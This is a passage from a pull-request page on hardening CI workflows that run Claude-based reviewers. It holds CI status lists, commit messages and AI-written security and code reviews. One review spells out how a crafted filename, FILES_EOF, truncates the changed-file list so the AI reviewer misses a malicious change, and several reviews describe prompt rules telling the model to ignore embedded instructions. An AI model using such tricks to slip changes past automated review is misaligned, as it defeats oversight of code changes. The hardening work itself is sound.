  • Appropriate secret scoping: Secrets (ANTHROPIC_API_KEY, BOT_TOKEN/GH_TOKEN, SWAMP_API_KEY, SWAMP_CLUB_API_KEY) are passed only to the specific steps that need them, never leaked to logs, and never interpolated into shell commands unsafely.
  • No auto-merge: None of the workflows auto-merge PRs. The review workflows can block merge but cannot approve+merge without human intervention.

Verdict

PASS — The workflow files are well-designed with no exploitable security vulnerabilities. The only finding is a minor permissions scoping inconsistency in the Forgejo CI workflow (medium, non-exploitable).

## CI Security Review ### Critical / High No critical or high severity findings. ### Medium 1. **`.forgejo/workflows/ci.yml:8-9` — Workflow-level permissions instead of per-job permissions.** The Forgejo CI workflow sets `permissions: contents: read` at the workflow level. While this is a restrictive default (and privileged jobs like `claude-review` correctly override at job level with `pull-requests: write`), the GitHub CI equivalent (`.github/workflows/ci.yml`) properly declares permissions at the job level throughout. Best practice is to avoid workflow-level permissions so each job explicitly documents its access. This is not exploitable since the default is already minimal, but it's an inconsistency between the two CI configurations. ### Low 1. **`.forgejo/workflows/ci.yml:678-682` — Claude CLI downloaded via `curl` with SHA-256 verification.** The Forgejo review jobs download the Claude binary via `curl` and verify a SHA-256 checksum before executing. This provides equivalent integrity guarantees to SHA-pinned actions and is a reasonable approach for Forgejo (where the `anthropics/claude-code-action` GitHub Action isn't available). The version is pinned (`2.1.150`) and the checksum is hardcoded — no security issue here, just noting the pattern for awareness during future version bumps (both version and checksum must be updated together). 2. **Forgejo vs GitHub tool scope divergence — different but both appropriate.** The Forgejo workflows scope Claude tools to `Bash(git diff:*),Bash(git log:*),Bash(tee /tmp/review-body.md:*),Bash(touch /tmp/review-failed)` while the GitHub workflows scope to `Bash(gh pr review:*),Bash(gh pr view:*),Bash(gh pr diff:*),Bash(touch /tmp/review-failed)`. Both are tightly scoped to the minimum needed for their respective platforms. The GitHub version grants `gh pr review:*` (which can approve or request-changes on PRs), but this is required for the review workflow's purpose and is mitigated by prompt hardening. ### Positive Observations - **No prompt injection vectors**: None of the LLM-invoking workflows interpolate attacker-controlled data (PR title, body, issue content, commit messages) into prompts. The Forgejo workflows load prompts from files via `$(cat .forgejo/prompts/*.md)`. The GitHub workflows use inline prompts that only interpolate `github.repository` (repo name) and `github.event.pull_request.number` (integer), neither of which are attacker-controlled. - **Strong prompt hardening**: All three prompt files (review.md, adversarial.md, ci-security.md) include a security preamble instructing the model to treat PR content as untrusted and ignore embedded instructions. - **No expression injection**: Actions expressions in `run:` blocks use only fixed matrix values (`matrix.task` from `[check, lint, fmt, test]`), commit SHAs passed via env vars, or validated choice inputs. No attacker-controlled event fields are interpolated into shell commands. - **No dangerous triggers**: All CI workflows use `pull_request` (not `pull_request_target`). The `auto-response.yml` uses `issues: [opened]` but handles the attacker-controlled content safely via `JSON.stringify()` serialization — no shell interpolation of issue title or body. - **Proper supply chain hygiene**: `dorny/paths-filter` is SHA-pinned (`@fbd0ab8f3e69293af611ebaee6363fc25e6d187d`). All other actions are from trusted publishers (`actions/*`, `anthropics/*`, `denoland/*`, `systeminit/*`). The Claude CLI binary uses version pinning + SHA-256 checksum verification. - **Appropriate secret scoping**: Secrets (`ANTHROPIC_API_KEY`, `BOT_TOKEN`/`GH_TOKEN`, `SWAMP_API_KEY`, `SWAMP_CLUB_API_KEY`) are passed only to the specific steps that need them, never leaked to logs, and never interpolated into shell commands unsafely. - **No auto-merge**: None of the workflows auto-merge PRs. The review workflows can block merge but cannot approve+merge without human intervention. ### Verdict **PASS** — The workflow files are well-designed with no exploitable security vulnerabilities. The only finding is a minor permissions scoping inconsistency in the Forgejo CI workflow (medium, non-exploitable).
fix: structurally scope reviews and fix /tmp write restriction
All checks were successful
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Has been skipped
CI / model/digitalocean - check (pull_request) Has been skipped
CI / cve/mini-shai-hulud - test (pull_request) Has been skipped
CI / model/digitalocean - lint (pull_request) Has been skipped
CI / model/digitalocean - fmt (pull_request) Has been skipped
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / model/digitalocean - lockfile up to date (pull_request) Has been skipped
CI / model/hetzner-cloud - lint (pull_request) Has been skipped
CI / model/hetzner-cloud - fmt (pull_request) Has been skipped
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been skipped
CI / aws models - check (pull_request) Has been skipped
CI / aws models - lint (pull_request) Has been skipped
CI / aws models - fmt (pull_request) Has been skipped
CI / aws models - lockfiles up to date (pull_request) Has been skipped
CI / gcp models - lint (pull_request) Has been skipped
CI / gcp models - check (pull_request) Has been skipped
CI / gcp models - fmt (pull_request) Has been skipped
CI / gcp models - lockfiles up to date (pull_request) Has been skipped
CI / cloudflare models - check (pull_request) Has been skipped
CI / cloudflare models - fmt (pull_request) Has been skipped
CI / cloudflare models - lint (pull_request) Has been skipped
CI / codegen - lint (pull_request) Has been skipped
CI / cloudflare models - lockfiles up to date (pull_request) Has been skipped
CI / codegen - fmt (pull_request) Has been skipped
CI / codegen - check (pull_request) Has been skipped
CI / codegen - lockfile up to date (pull_request) Has been skipped
CI / Dependency Audit (pull_request) Successful in 4m2s
CI / Adversarial Code Review (pull_request) Has been skipped
CI / Claude Code Review (pull_request) Successful in 48s
CI / CI Security Review (pull_request) Successful in 1m19s
62b2fc1db4
- Compute changed file list in the workflow before invoking Claude and
  inject it into the prompt, so scoping is structural not prompt-based
- Move all review output from /tmp to .review/ (workspace-relative)
  since Forgejo runners restrict writes to the workspace directory
- Remove Glob from allowed tools (unnecessary for scoped reviews)
- Add .review/ to .gitignore
- Update all three prompts to reference .review/ paths and the
  injected CHANGED FILES list

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
fix: tell reviewers there is no gh CLI, use git diff and Read
All checks were successful
CI / cve/dirtyfrag - lockfile up to date (pull_request) Has been skipped
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Has been skipped
CI / model/digitalocean - check (pull_request) Has been skipped
CI / model/digitalocean - fmt (pull_request) Has been skipped
CI / model/digitalocean - lint (pull_request) Has been skipped
CI / model/hetzner-cloud - fmt (pull_request) Has been skipped
CI / model/digitalocean - lockfile up to date (pull_request) Has been skipped
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been skipped
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / model/hetzner-cloud - lint (pull_request) Has been skipped
CI / aws models - check (pull_request) Has been skipped
CI / aws models - fmt (pull_request) Has been skipped
CI / aws models - lint (pull_request) Has been skipped
CI / aws models - lockfiles up to date (pull_request) Has been skipped
CI / gcp models - lint (pull_request) Has been skipped
CI / gcp models - fmt (pull_request) Has been skipped
CI / gcp models - check (pull_request) Has been skipped
CI / cloudflare models - check (pull_request) Has been skipped
CI / cloudflare models - fmt (pull_request) Has been skipped
CI / gcp models - lockfiles up to date (pull_request) Has been skipped
CI / cloudflare models - lint (pull_request) Has been skipped
CI / cloudflare models - lockfiles up to date (pull_request) Has been skipped
CI / codegen - lockfile up to date (pull_request) Has been skipped
CI / codegen - check (pull_request) Has been skipped
CI / codegen - fmt (pull_request) Has been skipped
CI / codegen - lint (pull_request) Has been skipped
CI / Dependency Audit (pull_request) Successful in 3m51s
CI / Adversarial Code Review (pull_request) Has been skipped
CI / Claude Code Review (pull_request) Successful in 5m3s
CI / CI Security Review (pull_request) Successful in 6m0s
2096d54d52
The Forgejo runner doesn't have gh installed. Reviewers were trying
to run gh pr list and getting blocked. Explicitly state the environment
and direct them to use git diff and Read tool instead.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Author
Owner

Code Review

Blocking Issues

None.

Suggestions

  1. publish.yml naive JSON parsing inconsistency: The chunking step constructs JSON with unescaped string concatenation and the publish job parses it with tr -d '[]"' | tr ',' '\n'. This breaks silently for directory paths containing commas, double quotes, or brackets. The rest of the PR replaces jq with Python; this step should follow suit: use json.dumps to construct and json.load to parse. Low risk for this repo's actual paths but inconsistent.

  2. ci.yml review jobs run when CHANGED_FILES is empty: For model-only PRs (all files filtered by grep -v '^model/'), the claude-code-review and claude-adversarial-review jobs still launch and pay for an API call with an empty file list. An if: steps.changed.outputs.files != '' guard on the Claude invocation (or on the job itself via its if: condition) would skip the wasted call.

  3. ci.yml CHANGED_FILES subject to step-output size limits: The file list is passed via ${{ steps.changed.outputs.files }} into an env block. Forgejo step outputs have a maximum size; a PR with many files could be silently truncated, causing Claude to review an incomplete list. Writing the list to a temp file and reading it in the run step would be more robust.

  4. .github/workflows/auto-response.yml permissions correctly scoped to job level. For this single-job workflow the behavior is identical to the previous workflow-level declaration, but job-level is the better practice and consistent with .forgejo/ conventions.

## Code Review ### Blocking Issues None. ### Suggestions 1. `publish.yml` naive JSON parsing inconsistency: The chunking step constructs JSON with unescaped string concatenation and the publish job parses it with `tr -d '[]"' | tr ',' '\n'`. This breaks silently for directory paths containing commas, double quotes, or brackets. The rest of the PR replaces jq with Python; this step should follow suit: use `json.dumps` to construct and `json.load` to parse. Low risk for this repo's actual paths but inconsistent. 2. `ci.yml` review jobs run when CHANGED_FILES is empty: For model-only PRs (all files filtered by `grep -v '^model/'`), the `claude-code-review` and `claude-adversarial-review` jobs still launch and pay for an API call with an empty file list. An `if: steps.changed.outputs.files != ''` guard on the Claude invocation (or on the job itself via its `if:` condition) would skip the wasted call. 3. `ci.yml` CHANGED_FILES subject to step-output size limits: The file list is passed via `${{ steps.changed.outputs.files }}` into an env block. Forgejo step outputs have a maximum size; a PR with many files could be silently truncated, causing Claude to review an incomplete list. Writing the list to a temp file and reading it in the run step would be more robust. 4. `.github/workflows/auto-response.yml` permissions correctly scoped to job level. For this single-job workflow the behavior is identical to the previous workflow-level declaration, but job-level is the better practice and consistent with `.forgejo/` conventions.
Author
Owner

CI Security Review

Medium

  1. Predictable heredoc delimiter in Compute changed files steps -- reviewable file list can be truncated

    Files: .forgejo/workflows/ci.yml lines 681-685 (claude-review), lines 787-791 (adversarial-review), lines 870-875 (ci-security-review)

    Vulnerability: The GITHUB_OUTPUT multiline value uses a static delimiter FILES_EOF. An attacker can create a file literally named FILES_EOF at the repository root. Since git diff --name-only output is sorted alphabetically, this filename would appear in the file list and prematurely terminate the heredoc. Any changed files sorted after FILES_EOF would be excluded from CHANGED_FILES, and the LLM reviewer would never see them.

    Attack scenario: A PR author adds a malicious change to a file sorted after F (e.g., vault/aws-sm/...) plus a no-op file named FILES_EOF. The review prompts CHANGED FILES list is truncated before the malicious file, so the AI reviewer skips it.

    Impact: Evasion of AI-based code review only -- human reviewers and other CI checks are unaffected. The job itself still succeeds, so this could hide changes from automated review.

    Fix: Use a randomized delimiter by appending random hex bytes to the delimiter string to prevent filename collisions.

Security Improvements in This PR

This PR makes several positive security changes:

  1. Expression injection fix (.forgejo/workflows/ci.yml:38-42): The changes job previously interpolated github.event.pull_request.base.sha and head.sha directly in a run block. They are now passed via env variables and quoted in the shell command. This closes a (low-risk) expression injection vector.

  2. Workflow-level permissions added (.forgejo/workflows/publish.yml:7-8): Added permissions contents read at the workflow level. This is defense-in-depth -- if a new job is added without explicit permissions, it defaults to read-only.

  3. Permissions scoped to job level (.github/workflows/auto-response.yml:10-12): Moved issues write and contents read from workflow-level to job-level, following the principle of least privilege.

  4. LLM tool scope tightened: Glob was removed from the allowed tools for all three Claude review jobs, reducing the tools available to the LLM agent.

  5. Prompt scope rules: All three review prompts (review, adversarial, ci-security) now include explicit SCOPE RULES and receive a CHANGED FILES list, reducing the risk of the LLM being misdirected by file content outside the PR scope.

  6. Safe JSON construction (.forgejo/workflows/regenerate-models.yml:202-209): PR payload construction now passes values through environment variables to python3 json.dumps instead of shell-level string interpolation into jq, which is more robust against injection in PR titles/bodies.

  7. Checksum-verified binary download: The Claude binary download pattern (curl + sha256sum) is maintained across all review jobs, preventing supply chain tampering of the downloaded binary.

Verdict

PASS -- No critical or high severity findings. The single medium finding (predictable heredoc delimiter) is an AI review evasion vector with limited blast radius. Overall, this PR is a net security improvement: it fixes an expression injection, tightens permissions scoping, hardens LLM prompts, and reduces tool surface area.

## CI Security Review ### Medium 1. **Predictable heredoc delimiter in Compute changed files steps -- reviewable file list can be truncated** **Files**: .forgejo/workflows/ci.yml lines 681-685 (claude-review), lines 787-791 (adversarial-review), lines 870-875 (ci-security-review) **Vulnerability**: The GITHUB_OUTPUT multiline value uses a static delimiter FILES_EOF. An attacker can create a file literally named FILES_EOF at the repository root. Since git diff --name-only output is sorted alphabetically, this filename would appear in the file list and prematurely terminate the heredoc. Any changed files sorted after FILES_EOF would be excluded from CHANGED_FILES, and the LLM reviewer would never see them. **Attack scenario**: A PR author adds a malicious change to a file sorted after F (e.g., vault/aws-sm/...) plus a no-op file named FILES_EOF. The review prompts CHANGED FILES list is truncated before the malicious file, so the AI reviewer skips it. **Impact**: Evasion of AI-based code review only -- human reviewers and other CI checks are unaffected. The job itself still succeeds, so this could hide changes from automated review. **Fix**: Use a randomized delimiter by appending random hex bytes to the delimiter string to prevent filename collisions. ### Security Improvements in This PR This PR makes several positive security changes: 1. **Expression injection fix** (.forgejo/workflows/ci.yml:38-42): The changes job previously interpolated github.event.pull_request.base.sha and head.sha directly in a run block. They are now passed via env variables and quoted in the shell command. This closes a (low-risk) expression injection vector. 2. **Workflow-level permissions added** (.forgejo/workflows/publish.yml:7-8): Added permissions contents read at the workflow level. This is defense-in-depth -- if a new job is added without explicit permissions, it defaults to read-only. 3. **Permissions scoped to job level** (.github/workflows/auto-response.yml:10-12): Moved issues write and contents read from workflow-level to job-level, following the principle of least privilege. 4. **LLM tool scope tightened**: Glob was removed from the allowed tools for all three Claude review jobs, reducing the tools available to the LLM agent. 5. **Prompt scope rules**: All three review prompts (review, adversarial, ci-security) now include explicit SCOPE RULES and receive a CHANGED FILES list, reducing the risk of the LLM being misdirected by file content outside the PR scope. 6. **Safe JSON construction** (.forgejo/workflows/regenerate-models.yml:202-209): PR payload construction now passes values through environment variables to python3 json.dumps instead of shell-level string interpolation into jq, which is more robust against injection in PR titles/bodies. 7. **Checksum-verified binary download**: The Claude binary download pattern (curl + sha256sum) is maintained across all review jobs, preventing supply chain tampering of the downloaded binary. ### Verdict **PASS** -- No critical or high severity findings. The single medium finding (predictable heredoc delimiter) is an AI review evasion vector with limited blast radius. Overall, this PR is a net security improvement: it fixes an expression injection, tightens permissions scoping, hardens LLM prompts, and reduces tool surface area.
fix: address review suggestions — JSON safety, empty guard, file passing
All checks were successful
CI / cve/dirtyfrag - lockfile up to date (pull_request) Has been skipped
CI / model/digitalocean - lint (pull_request) Has been skipped
CI / model/digitalocean - check (pull_request) Has been skipped
CI / cve/mini-shai-hulud - test (pull_request) Has been skipped
CI / cve/mini-shai-hulud - lint (pull_request) Has been skipped
CI / model/digitalocean - lockfile up to date (pull_request) Has been skipped
CI / model/hetzner-cloud - lint (pull_request) Has been skipped
CI / model/hetzner-cloud - fmt (pull_request) Has been skipped
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been skipped
CI / aws models - check (pull_request) Has been skipped
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / aws models - lint (pull_request) Has been skipped
CI / aws models - fmt (pull_request) Has been skipped
CI / gcp models - lint (pull_request) Has been skipped
CI / gcp models - check (pull_request) Has been skipped
CI / aws models - lockfiles up to date (pull_request) Has been skipped
CI / gcp models - lockfiles up to date (pull_request) Has been skipped
CI / gcp models - fmt (pull_request) Has been skipped
CI / cloudflare models - check (pull_request) Has been skipped
CI / cloudflare models - fmt (pull_request) Has been skipped
CI / cloudflare models - lint (pull_request) Has been skipped
CI / codegen - check (pull_request) Has been skipped
CI / codegen - fmt (pull_request) Has been skipped
CI / cloudflare models - lockfiles up to date (pull_request) Has been skipped
CI / codegen - lockfile up to date (pull_request) Has been skipped
CI / codegen - lint (pull_request) Has been skipped
CI / Dependency Audit (pull_request) Successful in 3m51s
CI / Adversarial Code Review (pull_request) Has been skipped
CI / CI Security Review (pull_request) Successful in 35s
CI / Claude Code Review (pull_request) Successful in 35s
be27e136da
1. publish.yml: replace naive bash JSON string concatenation with
   python3 json.dumps for safe encoding of directory paths
2. ci.yml: skip review jobs when changed file list is empty (model-only
   PRs) to avoid wasting API calls
3. ci.yml: pass changed file list via temp file instead of GITHUB_OUTPUT
   heredoc, avoiding step-output size limits and the FILES_EOF delimiter
   injection vector

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Author
Owner

This is where we are!

This is where we are!
fix: use two-dot diff to avoid merge base requirement
All checks were successful
CI / Dependency Audit (pull_request) Successful in 3m53s
CI / Adversarial Code Review (pull_request) Has been skipped
CI / Claude Code Review (pull_request) Successful in 3m8s
CI / CI Security Review (pull_request) Successful in 3m17s
CI / cve/mini-shai-hulud - lint (pull_request) Has been skipped
CI / model/digitalocean - check (pull_request) Has been skipped
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Has been skipped
CI / model/digitalocean - fmt (pull_request) Has been skipped
CI / model/hetzner-cloud - fmt (pull_request) Has been skipped
CI / model/digitalocean - lint (pull_request) Has been skipped
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / model/hetzner-cloud - lockfile up to date (pull_request) Has been skipped
CI / model/digitalocean - lockfile up to date (pull_request) Has been skipped
CI / model/hetzner-cloud - lint (pull_request) Has been skipped
CI / aws models - check (pull_request) Has been skipped
CI / aws models - lint (pull_request) Has been skipped
CI / aws models - lockfiles up to date (pull_request) Has been skipped
CI / aws models - fmt (pull_request) Has been skipped
CI / gcp models - check (pull_request) Has been skipped
CI / gcp models - fmt (pull_request) Has been skipped
CI / cloudflare models - fmt (pull_request) Has been skipped
CI / gcp models - lint (pull_request) Has been skipped
CI / gcp models - lockfiles up to date (pull_request) Has been skipped
CI / cloudflare models - lockfiles up to date (pull_request) Has been skipped
CI / cloudflare models - lint (pull_request) Has been skipped
CI / cloudflare models - check (pull_request) Has been skipped
CI / codegen - check (pull_request) Has been skipped
CI / codegen - lockfile up to date (pull_request) Has been skipped
CI / codegen - fmt (pull_request) Has been skipped
CI / codegen - lint (pull_request) Has been skipped
94144ac460
Three-dot diff (origin/main...HEAD) requires a common ancestor which
may not exist in shallow clones. Two-dot diff (origin/main..HEAD)
compares the two trees directly and works regardless of clone depth.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Author
Owner

CI Security Review

Critical / High

No critical or high severity findings.

Medium

No medium severity findings.

Low

  1. regenerate-models.yml:145PROVIDER="${{ inputs.provider || 'all' }}" and line 162 TITLE="${{ steps.label.outputs.title }}" interpolate Actions expressions directly into a run: block. While these values are fully trusted (constrained choice input, deterministic step output), the defensive pattern is to pass them via env: — consistent with the fix this PR already applies to ci.yml:38-42 for BASE_SHA/HEAD_SHA. Not exploitable here since inputs.provider is a type: choice only triggerable by repo collaborators, and steps.label.outputs.title is a hardcoded string from a prior step. No action required.

Security Improvements in This PR

This PR contains several meaningful security hardening changes:

  1. Expression injection fix (ci.yml:38-42): BASE_SHA and HEAD_SHA were previously interpolated directly in a run: block (BASE_SHA=${{ github.event.pull_request.base.sha }}). They are now passed via env: and properly quoted in the shell ("${BASE_SHA}...${HEAD_SHA}"). This eliminates a class of expression injection risk.

  2. Job-scoped permissions (auto-response.yml:9-11): issues: write and contents: read moved from workflow-level to job-level on the automove job. This is the recommended pattern — no other job (if added later) inherits these permissions.

  3. Workflow-level read permissions (publish.yml:7-8): Added permissions: contents: read at the workflow level. Combined with the existing job-level permissions: contents: read on both jobs, this ensures no job can accidentally inherit broader default permissions.

  4. Tighter LLM tool scoping (ci.yml:708,816,902): Glob was removed from the --allowedTools for all three Claude review jobs. The remaining tools (Read, Grep, Bash(git diff:*), Bash(git log:*), Bash(tee .review/review-body.md:*), Bash(touch .review/review-failed)) are tightly scoped to read-only operations plus the review output files.

  5. Explicit scope rules in prompts (all three prompt files): Each LLM prompt now includes a SCOPE RULES section constraining review to the listed changed files, and a CHANGED FILES list is appended at invocation time. This reduces the risk of an LLM acting on injected instructions from unchanged files.

  6. Prompt hardening: All three prompts retain the SECURITY NOTE preamble instructing the model to treat PR content as untrusted data and ignore embedded instructions.

  7. Claude binary integrity: The Claude CLI download uses a pinned version (2.1.150) with SHA-256 checksum verification across all three review jobs. The binary is downloaded to .review/claude (workspace-local) instead of /tmp/claude.

Checklist Results

Check Result
Prompt injection — direct interpolation of event fields PASS — No PR body/title/comment content is interpolated into prompts
Prompt injection — tool scope PASS — Tools are tightly restricted to read operations + review output
Prompt injection — security preamble PASS — All prompts include untrusted-data warnings
Expression injection in run: blocks PASS — Fixed for BASE_SHA/HEAD_SHA; remaining instances use trusted values
Dangerous triggers PASS — No pull_request_target; issues: opened handler is safe (no shell interpolation of issue content)
Supply chain — action pins PASS — All actions from trusted publishers (actions/*, denoland/*, systeminit/*) with tag pins
Supply chain — remote execution PASS — Claude binary download verified with SHA-256
Permissions — job-level scoping PASS — Review jobs have job-level permissions; auto-response moved to job-level
Permissions — minimum scope PASS — Test/build jobs: contents: read; review jobs add pull-requests: write; regenerate adds contents: write + pull-requests: write (needed for branch push + PR creation)
Secret exposure PASS — Secrets passed via env:, not interpolated in shell; scoped to steps that need them
Auto-merge / trust boundaries PASS — No auto-merge; Claude reviews can block but not approve

Verdict

PASS — This PR is a net security improvement. It fixes a pre-existing expression injection pattern, moves permissions to job-level scope, tightens LLM tool access, and adds explicit scope rules to review prompts. No blocking issues found.

## CI Security Review ### Critical / High No critical or high severity findings. ### Medium No medium severity findings. ### Low 1. **`regenerate-models.yml:145`** — `PROVIDER="${{ inputs.provider || 'all' }}"` and **line 162** `TITLE="${{ steps.label.outputs.title }}"` interpolate Actions expressions directly into a `run:` block. While these values are fully trusted (constrained choice input, deterministic step output), the defensive pattern is to pass them via `env:` — consistent with the fix this PR already applies to `ci.yml:38-42` for `BASE_SHA`/`HEAD_SHA`. Not exploitable here since `inputs.provider` is a `type: choice` only triggerable by repo collaborators, and `steps.label.outputs.title` is a hardcoded string from a prior step. No action required. ### Security Improvements in This PR This PR contains several meaningful security hardening changes: 1. **Expression injection fix** (`ci.yml:38-42`): `BASE_SHA` and `HEAD_SHA` were previously interpolated directly in a `run:` block (`BASE_SHA=${{ github.event.pull_request.base.sha }}`). They are now passed via `env:` and properly quoted in the shell (`"${BASE_SHA}...${HEAD_SHA}"`). This eliminates a class of expression injection risk. 2. **Job-scoped permissions** (`auto-response.yml:9-11`): `issues: write` and `contents: read` moved from workflow-level to job-level on the `automove` job. This is the recommended pattern — no other job (if added later) inherits these permissions. 3. **Workflow-level read permissions** (`publish.yml:7-8`): Added `permissions: contents: read` at the workflow level. Combined with the existing job-level `permissions: contents: read` on both jobs, this ensures no job can accidentally inherit broader default permissions. 4. **Tighter LLM tool scoping** (`ci.yml:708,816,902`): `Glob` was removed from the `--allowedTools` for all three Claude review jobs. The remaining tools (`Read`, `Grep`, `Bash(git diff:*)`, `Bash(git log:*)`, `Bash(tee .review/review-body.md:*)`, `Bash(touch .review/review-failed)`) are tightly scoped to read-only operations plus the review output files. 5. **Explicit scope rules in prompts** (all three prompt files): Each LLM prompt now includes a `SCOPE RULES` section constraining review to the listed changed files, and a `CHANGED FILES` list is appended at invocation time. This reduces the risk of an LLM acting on injected instructions from unchanged files. 6. **Prompt hardening**: All three prompts retain the `SECURITY NOTE` preamble instructing the model to treat PR content as untrusted data and ignore embedded instructions. 7. **Claude binary integrity**: The Claude CLI download uses a pinned version (`2.1.150`) with SHA-256 checksum verification across all three review jobs. The binary is downloaded to `.review/claude` (workspace-local) instead of `/tmp/claude`. ### Checklist Results | Check | Result | |-------|--------| | Prompt injection — direct interpolation of event fields | **PASS** — No PR body/title/comment content is interpolated into prompts | | Prompt injection — tool scope | **PASS** — Tools are tightly restricted to read operations + review output | | Prompt injection — security preamble | **PASS** — All prompts include untrusted-data warnings | | Expression injection in `run:` blocks | **PASS** — Fixed for BASE_SHA/HEAD_SHA; remaining instances use trusted values | | Dangerous triggers | **PASS** — No `pull_request_target`; `issues: opened` handler is safe (no shell interpolation of issue content) | | Supply chain — action pins | **PASS** — All actions from trusted publishers (actions/\*, denoland/\*, systeminit/\*) with tag pins | | Supply chain — remote execution | **PASS** — Claude binary download verified with SHA-256 | | Permissions — job-level scoping | **PASS** — Review jobs have job-level permissions; auto-response moved to job-level | | Permissions — minimum scope | **PASS** — Test/build jobs: `contents: read`; review jobs add `pull-requests: write`; regenerate adds `contents: write` + `pull-requests: write` (needed for branch push + PR creation) | | Secret exposure | **PASS** — Secrets passed via `env:`, not interpolated in shell; scoped to steps that need them | | Auto-merge / trust boundaries | **PASS** — No auto-merge; Claude reviews can block but not approve | ### Verdict **PASS** — This PR is a net security improvement. It fixes a pre-existing expression injection pattern, moves permissions to job-level scope, tightens LLM tool access, and adds explicit scope rules to review prompts. No blocking issues found.
fix: use RUNNER_TEMP for all review output and fix JSON parsing
All checks were successful
CI / aws models - check (pull_request) Has been skipped
CI / model/hetzner-cloud - lint (pull_request) Has been skipped
CI / Claude Code Review (pull_request) Successful in 3m43s
CI / model/digitalocean - check (pull_request) Has been skipped
CI / CI Security Review (pull_request) Successful in 5m20s
CI / model/hetzner-cloud - check (pull_request) Has been skipped
CI / aws models - lockfiles up to date (pull_request) Has been skipped
CI / gcp models - check (pull_request) Has been skipped
CI / model/hetzner-cloud - fmt (pull_request) Has been skipped
CI / aws models - fmt (pull_request) Has been skipped
CI / aws models - lint (pull_request) Has been skipped
CI / gcp models - fmt (pull_request) Has been skipped
CI / gcp models - lint (pull_request) Has been skipped
CI / cve/dirtyfrag - lockfile up to date (pull_request) Has been skipped
CI / gcp models - lockfiles up to date (pull_request) Has been skipped
CI / cloudflare models - lockfiles up to date (pull_request) Has been skipped
CI / cloudflare models - check (pull_request) Has been skipped
CI / codegen - check (pull_request) Has been skipped
CI / cve/mini-shai-hulud - lint (pull_request) Has been skipped
CI / codegen - fmt (pull_request) Has been skipped
CI / model/digitalocean - lint (pull_request) Has been skipped
CI / model/digitalocean - fmt (pull_request) Has been skipped
CI / cve/mini-shai-hulud - fmt (pull_request) Has been skipped
CI / codegen - lint (pull_request) Has been skipped
CI / cloudflare models - lint (pull_request) Has been skipped
CI / cloudflare models - fmt (pull_request) Has been skipped
CI / codegen - lockfile up to date (pull_request) Has been skipped
CI / cve/mini-shai-hulud - lockfile up to date (pull_request) Has been skipped
CI / Dependency Audit (pull_request) Successful in 3m52s
CI / Adversarial Code Review (pull_request) Has been skipped
3098863526
- Move all review artifacts to $RUNNER_TEMP/review/ which is guaranteed
  writable on every runner (unlike .review/ in the workspace)
- Inject OUTPUT_DIR into prompts so Claude knows the write path
- Replace tr-based JSON parsing in publish.yml with python3 json.load
- Use two-dot diff (origin/main..HEAD) which works with shallow clones

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Author
Owner

Trying again!!

Trying again!!
Author
Owner

Code Review

Blocking Issues

None.

Suggestions

  1. ci.yml — Cloudflare model checks exist but regenerate-models.yml has no Cloudflare generation step.
    ci.yml (lines 503–550) adds cloudflare-check and cloudflare-lockfile jobs that verify model/cloudflare/*/, but regenerate-models.yml only regenerates AWS, GCP, Hetzner, and DigitalOcean. If Cloudflare was newly added as a provider in this PR, models will pass CI but will never be automatically refreshed from upstream schemas. If Cloudflare was pre-existing and intentionally excluded from auto-regen, a comment in regenerate-models.yml explaining why would prevent future confusion.

  2. ci.yml — SSH extension changes don't trigger adversarial review and aren't in adversarial review's needs.
    The claude-adversarial-review job condition (line 777) gates on vaults/datastores/issue-lifecycle/workflows/cve/codegen changes but not ssh. SSH extension PRs receive standard code review but skip adversarial review, which is inconsistent with other extension types.

  3. publish.ymlNAME/LOCAL extraction assumes double-quoted YAML values (lines 79–80).
    The sed patterns s/name: *"\(.*\)"/\1/ only match when values are double-quoted. If a manifest.yaml uses name: foo (unquoted) or name: 'foo' (single-quoted), NAME becomes the entire unparsed line (e.g., name: foo) and is passed verbatim to swamp extension version, likely failing silently (guarded by || true). The skip comparison [ "$LOCAL" = "$UPSTREAM" ] would then never match, causing every run to attempt a publish for that extension.

  4. review.md — format section is missing a ### Verdict line.
    adversarial.md and ci-security.md both end with a ### Verdict section that gives a clear PASS/FAIL signal. review.md ends at ### Suggestions, making it slightly harder to scan the review outcome at a glance. Low priority since the review-failed sentinel file handles the blocking signal.

## Code Review ### Blocking Issues None. ### Suggestions 1. **`ci.yml` — Cloudflare model checks exist but `regenerate-models.yml` has no Cloudflare generation step.** `ci.yml` (lines 503–550) adds `cloudflare-check` and `cloudflare-lockfile` jobs that verify `model/cloudflare/*/`, but `regenerate-models.yml` only regenerates AWS, GCP, Hetzner, and DigitalOcean. If Cloudflare was newly added as a provider in this PR, models will pass CI but will never be automatically refreshed from upstream schemas. If Cloudflare was pre-existing and intentionally excluded from auto-regen, a comment in `regenerate-models.yml` explaining why would prevent future confusion. 2. **`ci.yml` — SSH extension changes don't trigger adversarial review and aren't in adversarial review's `needs`.** The `claude-adversarial-review` job condition (line 777) gates on vaults/datastores/issue-lifecycle/workflows/cve/codegen changes but not `ssh`. SSH extension PRs receive standard code review but skip adversarial review, which is inconsistent with other extension types. 3. **`publish.yml` — `NAME`/`LOCAL` extraction assumes double-quoted YAML values (lines 79–80).** The sed patterns `s/name: *"\(.*\)"/\1/` only match when values are double-quoted. If a `manifest.yaml` uses `name: foo` (unquoted) or `name: 'foo'` (single-quoted), `NAME` becomes the entire unparsed line (e.g., `name: foo`) and is passed verbatim to `swamp extension version`, likely failing silently (guarded by `|| true`). The skip comparison `[ "$LOCAL" = "$UPSTREAM" ]` would then never match, causing every run to attempt a publish for that extension. 4. **`review.md` — format section is missing a `### Verdict` line.** `adversarial.md` and `ci-security.md` both end with a `### Verdict` section that gives a clear PASS/FAIL signal. `review.md` ends at `### Suggestions`, making it slightly harder to scan the review outcome at a glance. Low priority since the 